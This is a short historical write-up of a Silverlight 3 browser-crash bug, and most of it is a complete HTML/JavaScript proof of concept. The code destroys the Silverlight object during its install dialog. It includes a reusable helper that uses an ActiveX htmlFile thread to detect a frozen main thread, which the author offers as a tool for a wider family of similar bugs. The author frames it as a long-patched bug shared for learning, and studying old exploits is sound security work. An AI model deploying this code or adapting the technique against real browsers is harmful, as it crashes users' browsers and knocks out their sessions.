Silverlight 3 DoS — Destroy Object During Install Dialog

Destroying the Silverlight OBJECT element via outerHTML while the install dialog is present (and the main thread is frozen) crashes the browser. The onMainThreadFrozen helper detects when the main thread is suspended by a modal dialog, using an htmlFile secondary thread to count ticks.

<object id="oSilverlight" data="data:application/x-silverlight,"
        type="application/x-silverlight-2" width="420" height="100">
    <param name="source" value="install.xap" />
    <param name="windowless" value="true" />
    <param name="background" value="#00000000" />
</object>

<script language="JavaScript">
function onMainThreadFrozen(callBackFunction)
{
    if (!callBackFunction) return alert("No callBackFunction!");
    onMainThreadFrozen.callBackFunction = callBackFunction;
    onMainThreadFrozen.lastTick = onMainThreadFrozen.tick = 0;

    onMainThreadFrozen.checkTick = function()
    {
        if (onMainThreadFrozen.lastTick < onMainThreadFrozen.tick)
        {
            onMainThreadFrozen.lastTick = onMainThreadFrozen.tick;
        }
        else
        {
            onMainThreadFrozen.thread.write();onMainThreadFrozen.thread.close();
            clearInterval(onMainThreadFrozen.mainThreadInterval);
            onMainThreadFrozen.callBackFunction();
        }
    }
    onMainThreadFrozen.updateTick = function() { onMainThreadFrozen.tick++; }
    onMainThreadFrozen.thread = new ActiveXObject("htmlFile");
    onMainThreadFrozen.thread.write();onMainThreadFrozen.thread.close();
    onMainThreadFrozen.thread.parentWindow.onMainThreadFrozen = onMainThreadFrozen;
    onMainThreadFrozen.mainThreadInterval = setInterval('onMainThreadFrozen.updateTick()', 100);
    onMainThreadFrozen.thread.parentWindow.setInterval('onMainThreadFrozen.checkTick()', 300);
}

function CALLBACK_destroySilverlight()
{
    document.all.oSilverlight.onmousedown = function()
    {
        document.all.oSilverlight.outerHTML = 'Hasta la vista! Click OK to crash the Browser.';
    }
    document.all.oSilverlight.setCapture();
}

onMainThreadFrozen(CALLBACK_destroySilverlight);
</script>

The onMainThreadFrozen function is a reusable utility that detects when the JS main thread is suspended — useful for a family of bugs that require acting while a modal dialog is open.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.